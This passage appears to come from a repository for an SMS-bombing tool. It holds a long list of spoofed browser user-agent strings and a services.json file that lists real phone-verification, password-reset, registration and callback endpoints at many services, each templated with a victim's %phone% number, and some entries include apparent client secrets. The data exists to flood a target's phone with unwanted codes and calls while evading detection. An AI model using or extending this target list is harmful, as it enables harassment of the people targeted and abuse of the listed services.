OS 11_2_2 like Mac https://m.baidu.com/mip/c/s/zhangzifan.com/wechat-user-agent.htmlOS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Mobile/15C202 MicroMessenger/6.6.1 NetType/4G Language/zh_CN", 142 | "Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Mobile/15B150 MicroMessenger/6.6.1 NetType/WIFI Language/zh_CN", 143 | "Mozilla/5.0 (iphone x Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN" 144 | ] 145 | } -------------------------------------------------------------------------------- /tools/SMS/user_agents.json: -------------------------------------------------------------------------------- 1 | { 2 | "agents": [ 3 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3835.0 Safari/537.36", 4 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3831.6 Safari/537.36", 5 | "Mozilla/5.0 (Linux; Android 8.0.0; SM-G930F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36", 6 | "Mozilla/5.0 (Linux; Android 9; POCOPHONE F1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36", 7 | "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36", 8 | "Mozilla/5.0 (Linux; Android 6.0.1; vivo 1603 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36", 9 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0", 10 | "Mozilla/5.0 (X11; Linux i686; rv:67.0) Gecko/20100101 Firefox/67.0", 11 | "Mozilla/5.0 (Android 9; Mobile; rv:67.0.3) Gecko/67.0.3 Firefox/67.0.3", 12 | "Mozilla/5.0 (Android 7.1.1; Tablet; rv:67.0) Gecko/67.0 Firefox/67.0", 13 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.27 Safari/537.36 OPR/62.0.3331.10 (Edition beta)", 14 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362", 15 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27", 16 | "Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1", 17 | "Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1", 18 | "Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 19 | "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0", 20 | "Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1", 21 | "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2", 22 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0", 23 | "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0", 24 | "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 25 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 26 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27", 27 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1", 28 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7", 29 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6", 30 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1", 31 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1", 32 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre", 33 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2", 34 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1", 35 | "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", 36 | "Mozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.8.0", 37 | "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)", 38 | "Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016", 39 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10", 40 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7", 41 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18", 42 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10", 43 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)", 44 | "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9", 45 | "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8", 46 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)", 47 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: )", 48 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1", 49 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14", 50 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB5", 51 | "Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre", 52 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12", 53 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5", 54 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5", 55 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14", 56 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20", 57 | "Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a", 58 | "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2", 59 | "Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0", 60 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) QupZilla/1.2.0 Safari/534.34", 61 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1", 62 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2", 63 | "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 64 | "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1", 65 | "Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1", 66 | "Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0 ", 67 | "Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 68 | "Mozilla/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre", 69 | "Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0", 70 | "Mozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2", 71 | "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0", 72 | "Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0", 73 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24", 74 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1", 75 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5", 76 | "Mozilla/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko/20100712 Minefield/4.0b2pre", 77 | "Mozilla/5.0 (X11; Linux x86_64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1", 78 | "Mozilla/5.0 (X11; Linux x86_64; rv:11.0a2) Gecko/20111230 Firefox/11.0a2 Iceweasel/11.0a2", 79 | "Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 80 | "Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre", 81 | "Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0", 82 | "Mozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1", 83 | "Mozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0", 84 | "Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8", 85 | "Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0", 86 | "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15", 87 | "Mozilla/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko", 88 | "Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16", 89 | "Mozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko/20071130 Minimo/0.025", 90 | "Mozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1", 91 | "Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020", 92 | "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.1", 93 | "Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu)", 94 | "Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher", 95 | "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian", 96 | "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8", 97 | "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15", 98 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8", 99 | "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Debian/1.6-7", 100 | "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Epiphany/1.2.5", 101 | "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Galeon/1.3.14", 102 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 MG(Novarra-Vision/6.9)", 103 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6", 104 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox)", 105 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.10 (karmic) Firefox/3.0.11", 106 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2)", 107 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0", 108 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2", 109 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330", 110 | "Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko/20100406 Firefox/3.6.3 (Swiftfox)", 111 | "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5)", 112 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9", 113 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15", 114 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7", 115 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0", 116 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092814 (Debian-3.0.1-1)", 117 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.13) Gecko/20100916 Iceape/2.0.8", 118 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12", 119 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091020 Linux Mint/8 (Helena) Firefox/3.5.3", 120 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091107 Firefox/3.5.5", 121 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9", 122 | "Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12", 123 | "Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0", 124 | "Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.15", 125 | "Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0", 126 | "Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3", 127 | "Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.5", 128 | "Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.8", 129 | "Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko/20090429 Firefox/3.1b3", 130 | "Mozilla/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.6", 131 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9", 132 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15", 133 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7", 134 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0", 135 | "Mozilla/5.0 (Linux; Android 7.1.1; MI 6 Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043807 Mobile Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN", 136 | "Mozilla/5.0 (Linux; Android 7.1.1; OD103 Build/NMF26F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN", 137 | "Mozilla/5.0 (Linux; Android 6.0.1; SM919 Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN", 138 | "Mozilla/5.0 (Linux; Android 5.1.1; vivo X6S A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN", 139 | "Mozilla/5.0 (Linux; Android 5.1; HUAWEI TAG-AL00 Build/HUAWEITAG-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043622 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN", 140 | "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13F69 MicroMessenger/6.6.1 NetType/4G Language/zh_CN", 141 | "Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_2 like Mac https://m.baidu.com/mip/c/s/zhangzifan.com/wechat-user-agent.htmlOS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Mobile/15C202 MicroMessenger/6.6.1 NetType/4G Language/zh_CN", 142 | "Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Mobile/15B150 MicroMessenger/6.6.1 NetType/WIFI Language/zh_CN", 143 | "Mozilla/5.0 (iphone x Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN" 144 | ] 145 | } -------------------------------------------------------------------------------- /tools/SMS/services.json: -------------------------------------------------------------------------------- 1 | { 2 | "services": [ 3 | { 4 | "url": "https://my.telegram.org/auth/send_password", 5 | "data": "{'phone':'+%phone%'}" 6 | }, 7 | { 8 | "url": "https://pizzahut.ru/account/password-reset", 9 | "data": "{'reset_by':'phone', 'action_id':'pass-recovery', 'phone': '%phone5%', '_token':'*'}" 10 | }, 11 | { 12 | "url": "https://mobile-api.qiwi.com/oauth/authorize", 13 | "data": "{'response_type': 'urn:qiwi:oauth:response-type:confirmation-id', 'username': '%phone%', 'client_id': 'android-qw', 'client_secret': 'zAm4FKq9UnSe7id'}" 14 | }, 15 | { 16 | "url": "https://www.rabota.ru/remind", 17 | "data": "{'credential': '%phone%'}" 18 | }, 19 | { 20 | "url": "https://comfy.ua/ua/customer/account/createPost", 21 | "data": "{'registration_name':'%name%','registration_phone':'%phone%','registration_email':'%email%'}" 22 | }, 23 | { 24 | "url": "https://rutube.ru/api/accounts/sendpass/phone", 25 | "data": "{'phone': '+%phone%'}" 26 | }, 27 | { 28 | "url": "https://3040.com.ua/taxi-ordering", 29 | "data": "{'callback-phone': '+%phone%'}" 30 | }, 31 | { 32 | "url": "https://alfalife.cc/auth.php", 33 | "data": "{'phone': '+%phone%'}" 34 | }, 35 | { 36 | "url": "https://allo.ua/ua/customer/account/createPostVue/?currentTheme=main¤tLocale=uk_UA", 37 | "data": "{'firstname':'%name%', 'telephone':'%phone%', 'email':'%email%','password':'%password%','form_key':'Zqqj7CyjkKG2ImM8'}" 38 | }, 39 | { 40 | "url": "https://www.citilink.ru/registration/confirm/phone/+%phone%/" 41 | }, 42 | { 43 | "url": "https://www.sportmaster.ua/?module=users&action=SendSMSReg&phone=+%phone%" 44 | }, 45 | { 46 | "url": "https://www.oyorooms.com/api/pwa/generateotp?phone=+%phone%&country_code=%2B7&nod=4&locale=en" 47 | }, 48 | { 49 | "url": "https://secure.online.ua/ajax/check_phone/?reg_phone=%phone%" 50 | }, 51 | { 52 | "url": "https://pampik.com/callback", 53 | "data": "{'phoneCallback':'%phone%'}" 54 | }, 55 | { 56 | "url": "https://junker.kiev.ua/postmaster.php", 57 | "data": "{'tel':'%phone%','name':'%name%','action':'callme'}" 58 | }, 59 | { 60 | "url": "https://www.pestocafe.ua/apply-form/callback", 61 | "data": "{'name':'%name%','phone':'%phone%','_token':'%token%'}" 62 | }, 63 | { 64 | "url": "https://mobileplanet.ua/register", 65 | "data": "{'klient_name':'%name%','klient_phone':'+%phone%','klient_email':'%email%'}" 66 | }, 67 | { 68 | "url": "https://mobileplanet.ua/new_record", 69 | "data": "{'klient_name':'%name%','klient_phone':'+%phone%','object': 'callback','this_page_url':'https://mobileplanet.ua/telefony-349'}" 70 | }, 71 | { 72 | "url": "http://www.advice.in.ua/vasha-zayavka-prinyata.html/", 73 | "data": "{'fio':'%name%','tel':'%phone%','type':'2','capch':'4','mod':'1'}" 74 | }, 75 | { 76 | "url": "https://holdyou.net/api/callback", 77 | "data": "{'name':'%name%','phone':'%phone%'}" 78 | }, 79 | { 80 | "url": "https://city24.ua/personalaccount/account/registration", 81 | "data": "{'PhoneNumber':'%phone%'}" 82 | }, 83 | { 84 | "url": "https://my.dianet.com.ua/send_sms/", 85 | "data": "{'phone':'%phone%'}" 86 | }, 87 | { 88 | "url": "https://api.easypay.ua/api/auth/register", 89 | "data": "{'phone':'%phone%','password':'%password%'}" 90 | }, 91 | { 92 | "url": "https://vladimir.edostav.ru/site/CheckAuthLogin", 93 | "data": "{'phone_or_email':'+%phone%'}" 94 | }, 95 | { 96 | "url": "https://api.eldorado.ua/v1/sign?login=%phone%&step=phone-check&fb_id=null&fb_token=null&lang=ru" 97 | }, 98 | { 99 | "url": "https://www.etm.ru/cat/runprog.html", 100 | "data": "{'m_phone':'%phone%','mode':'sendSms','syf_prog':'clients-services','getSysParam':'yes'}" 101 | }, 102 | { 103 | "url": "https://www.finam.ru/api/smslocker/sendcode", 104 | "data": "{'phone':'+%phone%'}" 105 | }, 106 | { 107 | "url": "https://fix-price.ru/ajax/register_phone_code.php", 108 | "data": "{'phone':'+%phone%','action':'getCode','register_call':'Y'}" 109 | }, 110 | { 111 | "url": "https://foodband.ru/api?phone=%phone%&call=customers/sendVerificationCode&g-recaptcha-response=" 112 | }, 113 | { 114 | "url": "https://friendsclub.ru/assets/components/pl/connector.php", 115 | "data": "{'MobilePhone':'+%phone%','casePar':'authSendsms'}" 116 | }, 117 | { 118 | "url": "https://crm.getmancar.com.ua/api/veryfyaccount", 119 | "json": "{'phone':'+%phone%','grant_type':'password','client_id':'gcarAppMob','client_secret':'SomeRandomCharsAndNumbersMobile'}" 120 | }, 121 | { 122 | "url": "https://www.hatimaki.ru/register/", 123 | "data": "{'REGISTER[LOGIN]':'%phone%','REGISTER[PERSONAL_PHONE]':'%phone%','REGISTER[SMS_CODE]':'','resend-sms':'1','REGISTER[EMAIL]':'%email%','register_submit_button':'Зарегистрироваться'}" 124 | }, 125 | { 126 | "url": "https://helsi.me/api/healthy/accounts/login", 127 | "data": "{'phone':'%phone%','platform':'PISWeb'}" 128 | }, 129 | { 130 | "url": "https://api.hmara.tv/stable/entrance?contact=%phone%" 131 | }, 132 | { 133 | "url": "https://api.imgur.com/account/v1/phones/verify", 134 | "data": "{'phone_number':'%phone%','region_code':'RU'}" 135 | }, 136 | { 137 | "url": "https://terra-1.indriverapp.com/api/authorization?locale=ru", 138 | "data": "{'phone':'+%phone%','mode':'request','phone_permission':'unknown','stream_id':0,'v':3,'appversion':'3.20.6','osversion':'unknown','devicemodel':'unknown'}" 139 | }, 140 | { 141 | "url": "https://informatics.yandex/api/v1/registration/confirmation/phone/send/", 142 | "data": "{'phone':'%phone%','csrfmiddlewaretoken':'','country':{\"7\": \"RU\", \"380\": \"UA\", \"375\": \"BE\"}}" 143 | }, 144 | { 145 | "url": "https://lk.invitro.ru/sp/mobileApi/createUserByPassword", 146 | "data": "{'login':'+%phone%','password':'%password%','application':'lkp'}" 147 | }, 148 | { 149 | "url": "https://izi.ua/api/auth/register", 150 | "json": "{'phone':'+%phone%','name':'%name%','is_terms_accepted':true}" 151 | }, 152 | { 153 | "url": "https://izi.ua/api/auth/sms-login", 154 | "json": "{'phone':'+%phone%'}" 155 | }, 156 | { 157 | "url": "https://kaspi.kz/util/send-app-link", 158 | "data": "{'address':'%phone%'}" 159 | }, 160 | { 161 | "url": "https://api.kinoland.com.ua/api/v1/service/send-sms", 162 | "json": "{'Phone':'%phone%','Type':1}", 163 | "headers": "{'Agent': 'website'}" 164 | }, 165 | { 166 | "url": "https://koronapay.com/transfers/online/api/users/otps", 167 | "data": "{'phone':'%phone%'}" 168 | }, 169 | { 170 | "url": "https://loany.com.ua/funct/ajax/registration/code", 171 | "data": "{'phone':'%phone%'}" 172 | }, 173 | { 174 | "url": "https://api-rest.logistictech.ru/api/v1.1/clients/request-code", 175 | "data": "{'phone':'%phone%'}", 176 | "headers": "{'Restaurant-chain': 'c0ab3d88-fba8-47aa-b08d-c7598a3be0b9'}" 177 | }, 178 | { 179 | "url": "https://makarolls.ru/bitrix/components/aloe/aloe.user/login_new.php", 180 | "data": "{'data':'%phone%','metod':'postreg'}" 181 | }, 182 | { 183 | "url": "https://www.menu.ua/kiev/delivery/registration/direct-registration.html", 184 | "data": "{'user_info[phone]':'%phone%','user_info[fullname]':'%name%','user_info[email]':'%email%','user_info[password]':'ndD34f!dfg#','user_info[conf_password]':'ndD34f!dfg#'}" 185 | }, 186 | { 187 | "url": "https://www.menu.ua/kiev/delivery/profile/show-verify.html", 188 | "data": "{'phone':'%phone%','do':'phone'}" 189 | }, 190 | { 191 | "url": 